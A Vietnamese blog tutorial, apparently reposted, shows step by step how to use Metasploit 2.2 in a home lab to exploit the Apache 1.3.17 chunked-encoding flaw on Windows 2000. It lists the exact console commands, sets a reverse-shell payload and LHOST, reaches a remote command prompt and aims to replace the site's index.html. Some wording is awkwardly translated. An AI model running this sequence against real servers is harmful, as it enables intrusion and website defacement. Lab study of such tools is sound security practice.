Xem xét toàn cảnh
Như chúng ta đã biết, muốn khai thác hệ thống để phá hoại cần phải đáp ứng được một số tiêu chuẩn nhất định. Bạn có thể gọi nó là hàng loạt vấn đề cũng được. Liệu dịch vụ có lỗ hổng hay không, liệu nó có bộc lộ ở web hay không, và liệu…. Bạn sẽ phải vẽ ra một bức tranh cụ thể cho mình. Những hoạt động thực tiễn chúng ta sẽ làm với tất cả các bước cần thiết để xâm nhập một web server, sau đó upload phiên bản index.html riêng lên server. Chúng ta sẽ phải lên danh sách các hoạt động cần phải làm tương ứng với hệ điều hành và kiểu web server.
Tôi đã thực hiện cuộc phá hoại minh hoạ này trong phòng làm việc tại nhà với hai laptop. Một máy cài hệ điều hành SuSE Linux, máy còn lại cài Windows 2000 Professional. Trong laptop W2K tôi cài web server nguồn mở Apache phiên bản 1.3.17. Có một số phiên bản nhiều lỗ hổng khác ra đời sau 1.3.17 nhưng chúng ta sẽ dùng phiên bản này làm ví dụ bởi vì nó có lỗ hổng mã hoá chắc chắn.
Nội dung chi tiết
Tất cả dường như có vẻ ổn, nhưng bạn mới chỉ xác định được vị trí mã nguồn để khai thác? Không chỉ có thể, bạn biết chắc chắn rằng không có các thành phần “giá trị bổ sung” trong mã khai thác hay không? Để đơn giản hoá tôi dùng Metasploit Framework. Framework này được đặt chung với HDM và spoonm. Nó còn là bản miến phí dành cho mọi người. Tính năng nâng cao khi dùng công cụ này là bạn có thể khai thác an toàn tất cả các lỗ hổng kèm theo mà không phải sợ bất kỳ backdoor nào. Framework này có thể dùng trong cả môi trường Linux hoặc win32. Bạn có thể có sự lựa chọn riêng cho mình, còn trong ví dụ này tôi dùng Linux vì server tftp đang chạy trên nó. Server này sẽ được dùng trong các hoạt động minh hoạ thử nghiệm của cả bài.
Các yêu cầu cho hoạt động tấn công một trang web đã nói ở trên gồm:
Metasploit Framework để khởi động quá trình khai thác.
Windows 2000 Professional cài đặt Apache 1.3.17.
Hai laptop kết nối với nhau qua một switch.
Metasploit
Trong phần một chúng ta sẽ xem xét sơ lược về Metasploit. Ở phần hai các bạn sẽ được hướng dẫn chi tiết từng bước cách sử dụng. Chúng tôi sẽ cung cấp một số thông tin giúp bạn có được sự hình dung ban đầu về nó. Trong bài này tôi dùng Metasploit trong Linux.
Dưới đây là toàn bộ thư mục và file tạo một lần trong Framework không bị nén.
don@linux:~/framework-2.2> dir
total 107
drwxr-xr-x 2 500 10000 112 2004-08-07 17:50 data
drwxr-xr-x 2 500 10000 744 2004-08-07 17:50 docs
drwxr-xr-x 2 500 10000 280 2004-08-07 17:50 encoders
drwxr-xr-x 2 500 10000 1288 2004-08-07 17:50 exploits
drwxr-xr-x 2 500 10000 144 2004-08-07 17:50 extras
drwxr-xr-x 6 500 10000 208 2004-08-07 17:50 lib
-rwxr-xr-x 1 500 10000 4687 2004-07-29 23:41 msfcli
-rwxr-xr-x 1 500 10000 22975 2004-07-29 23:41 msfconsole
-rwxr-xr-x 1 500 10000 5744 2004-07-05 06:52 msfdldebug
-rwxr-xr-x 1 500 10000 5639 2004-07-29 23:41 msfencode
-rwxr-xr-x 1 500 10000 1538 2004-08-07 17:58 msflogdump
-rwxr-xr-x 1 500 10000 2104 2004-07-29 23:41 msfpayload
-rwxr-xr-x 1 500 10000 9361 2004-07-27 03:38 msfpayload.cgi
-rwxr-xr-x 1 500 10000 6952 2004-07-29 23:41 msfpescan
-rwxr-xr-x 1 500 10000 12096 2004-08-08 04:37 msfupdate
-rwxr-xr-x 1 500 10000 16116 2004-08-07 18:31 msfweb
drwxr-xr-x 2 500 10000 120 2004-08-07 18:17 nops
drwxr-xr-x 3 500 10000 1664 2004-08-07 17:50 payloads
drwxr-xr-x 3 500 10000 168 2004-08-07 17:50 sdk
drwxr-xr-x 3 500 10000 80 2004-08-07 17:50 src
drwxr-xr-x 2 500 10000 216 2004-06-07 04:21 tools
don@linux:~/framework-2.2>
Còn phần dưới là cách thu hồi Framework và msfconsole cụ thể.
don@linux:~/framework-2.2> ./msfconsole
__. .__. .__. __.
_____ _____/ |______ ____________ | | ____ |__|/ |_
/ \_/ __ \ __\__ \ / ___/\____ \| | / _ \| \ __\
| Y Y \ ___/| | / __ \_\___ \ | |_> > |_( <_> ) || |
|__|_| /\___ >__| (____ /____ >| __/|____/\____/|__||__|
\/ \/ v2.2 \/ \/ |__|
+ — –=[ msfconsole v2.2 [30 exploits - 33 payloads]
phần 2
Từ lý thuyết đến thực tế
Từ lý thuyết đến thực tế
Chúng ta sẽ tiếp tục với công cụ Metasploit và cách sử dụng nó. Trước hết là tăng mức hệ thống truy cập vào Web server Apache. Khi bạn thấy lớp ngoài đảo ngược, bạn có thể upload file index.html đã được thay đổi. Nó sẽ trở thành trang mặc định được đưa lên server, chẳng hạn như bản dữ liệu log của công ty bạn.
Phần bên dưới cho biết điều gì thu được sau câu lệnh “show exploits” (đưa ra các lỗ hổng) khi bạn nhập nó ở màn hình lệnh prompt msf trong Metasploit. Danh sách các lỗi hổng có thể khai thác được đưa ra:
msf > show exploits
Metasploit Framework Loaded Exploits
====================================
Credits Metasploit Framework Credits
afp_loginext AppleFileServer LoginExt PathName Buffer Overflow
apache_chunked_win32 Apache Win32 Chunked Encoding
blackice_pam_icq ISS PAM.dll ICQ Parser Buffer Overflow
distcc_exec DistCC Daemon Command Execution
exchange2000_xexch50 Exchange 2000 MS03-46 Heap Overflow
frontpage_fp30reg_chunked Frontpage fp30reg.dll Chunked Encoding
ia_webmail IA WebMail 3.x Buffer Overflow
iis50_nsiislog_post IIS 5.0 nsiislog.dll POST Overflow
iis50_printer_overflow IIS 5.0 Printer Buffer Overflow
iis50_webdav_ntdll IIS 5.0 WebDAV ntdll.dll Overflow
Bạn có thể thấy một số lỗ hổng có thể khai thác bên trong framework đã đưa ra. Danh sách trên đã được cắt bớt. Nếu bạn nhập cùng một lệnh như vậy, bạn sẽ có được danh sách đầy đủ. Chúng ta sẽ thử nghiệm với lỗ hổng thứ hai từ trên xuống: apache_chunked_win32.
Bây giờ nhập lệnh để chọn lỗ hổng chúng ta sẽ dùng như sau:
msf > use apache_chunked_win32
msf apache_chunked_win32 >
Như bạn thấy ở trên, màn hình lệnh prompt xuất hiện trở lại, báo lại cho bạn biết lỗ hổng đã được chọn để dùng: apache_chunked_win32. Tiếp theo là lệnh kiểm tra các tuỳ chọn khác nhau gắn kèm với lỗ hổng dưới framework này.
msf apache_chunked_win32 > show options
Exploit Options
===============
Exploit Name Default Description
——– —— ——- ——————
optional SSL Sử dụng SSL
required RHOST Địa chỉ đích
required RPORT 80 Cổng đích
Target: Windows NT/2K Brute Force
msf apache_chunked_win32 >
Màn hình lệnh xuất hiện trở lại với danh sách các tuỳ chọn chúng ta cần điền đầy đủ như địa chỉ IP host từ xa. Chú ý là bạn cũng cần phải nhập địa chỉ IP host cục bộ, ví dụ như địa chỉ các máy tấn công của bạn trong môi trường thử nghiệm. Bạn cần nhập lệnh thiết lập các tuỳ chọn đó như sau:
msf apache_chunked_win32 > set RHOST 192.168.1.101
RHOST -> 192.168.1.101
msf apache_chunked_win32 >
Chúng ta sẽ xem tuỳ chọn LHOST ở phần sau trong bài này.
Bạn thấy gì từ các tuỳ chọn khai thác lỗ hổng?
Bây giờ chúng ta sẽ thiết lập giá trị cho trường này. Sau đó tiếp tục thực hiện dần dần với các tuỳ chọn khác nhau khác trước khi sử dụng lỗ hổng để tăng mức truy cập hệ thống trên Web server. Ở đây bạn sẽ dùng lệnh sau để xem chúng ta có thể dùng được loại payload nào:
msf apache_chunked_win32 > show payloads
Metasploit Framework Usable Payloads
====================================
win32_bind
Windows Bind Shell
win32_bind_dllinject
Windows Bind DLL Inject
win32_bind_stg
Windows Staged Bind Shell
win32_bind_stg_upexec
Windows Staged Bind Upload/Execute
win32_bind_vncinject
Windows Bind VNC Server DLL Inject
win32_reverse
Windows Reverse Shell
win32_reverse_dllinject
Windows Reverse DLL Inject
win32_reverse_stg
Windows Staged Reverse Shell
win32_reverse_stg_ie
Windows Reverse InlineEgg Stager
win32_reverse_stg_upexec
Windows Staged Reverse Upload/Execute
win32_reverse_vncinject
Windows Reverse VNC Server DLL Inject
msf apache_chunked_win32 >
Lựa chọn trên cho phép sử dụng bất kỳ phần nào bạn chọn. Có nghĩa là bạn sẽ có thể thực thi bất kỳ playload nào đã chọn bằng CPU của máy nạn nhân khi khai thác lỗ hổng bạn đang nhắm đến. Có thêm lựa chọn mở rộng này là một trong nhiều cách dùng tuyệt vời của công cụ bảo mật.
Có rất nhiều lựa chọn dành cho bạn. Ở trường hợp của chúng ta là win32_reverse payload vì nó giúp tạo ra được lớp vỏ bên ngoài, cho phép sử dụng được nhiều lần khai thác để tấn công. Để rõ hơn bạn có thể copy lại file index.html và điều chỉnh nó bằng cách thay đổi giao diện. Xây dựng được lớp bên ngoài cho phép chúng ta thực hiện điều đó. Còn Framework bạn có tuỳ chọn payload thì sao? Hãy xem cú pháp bên dưới:
msf apache_chunked_win32 > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf apache_chunked_win32(win32_reverse) >
Bây giờ chúng ta đã thiết lập thông số cho payload và quay trở lại màn hình lệnh. Tiếp theo là thiết lập địa chỉ IP để nhận lớp ngoài đảo ngược. Thiết lập cho host nhận cũng tương tự như một vài bước biết lập cho RHOST trước đây để đặc tả máy sẽ tấn công. Thực hiện như sau:
msf apache_chunked_win32(win32_reverse) > set LHOST 192.168.1.102
LHOST -> 192.168.1.102
msf apache_chunked_win32(win32_reverse) >
Bây giờ chúng ta đã thực sự sẵn sàng khởi động lỗ hổng. Cú pháp như sau:
msf apache_chunked_win32(win32_reverse) > exploit 192.168.1.101
[*] Starting Reverse Handler.[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 348…[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 348…[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 352…[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 352…[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 356…[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 356…[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 360…[*] Got connection from 192.168.1.101:1031
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\Program Files\Apache Group\Apache>
Từ trên bạn có thể thấy màn hình lệnh trong thư mục Apache. Có một tuỳ chọn khác chúng ta có thể sử dụng để đặc tả hệ điều hành đang dùng trong trường hợp này là “target”. Ngay cả khi bạn không mô tả tường minh, nó cũng sẽ cố gắng “thu xếp” để thực hiện những việc nó có thể làm. Để dùng tuỳ chọn target (đích), thực hiện như sau:
msf apache_chunked_win32(win32_reverse) > show targets
Danh sách các đích (target) sẽ được đưa ra. Tất cả việc bạn cần làm là chọn thứ bạn muốn và thiết lập nó như đã làm ở trên:
msf apache_chunked_win32(win32_reverse) > set TARGET 1
Câu lệnh trên nhập đích thứ nhất nếu server bộ nhớ là W2K Pro,
Công việc đến đây có thể nói là đã hoàn thành. Web server Apache bây giờ đã bị bạn xâm hại và có phần bên ngoài đảo ngược. Bạn hoàn toàn có quyền kiểm soát và thao tác trên nó.
reflink: http://roseandgun.wordpress.com/2010/04/24/su-dung-metasploit-framework/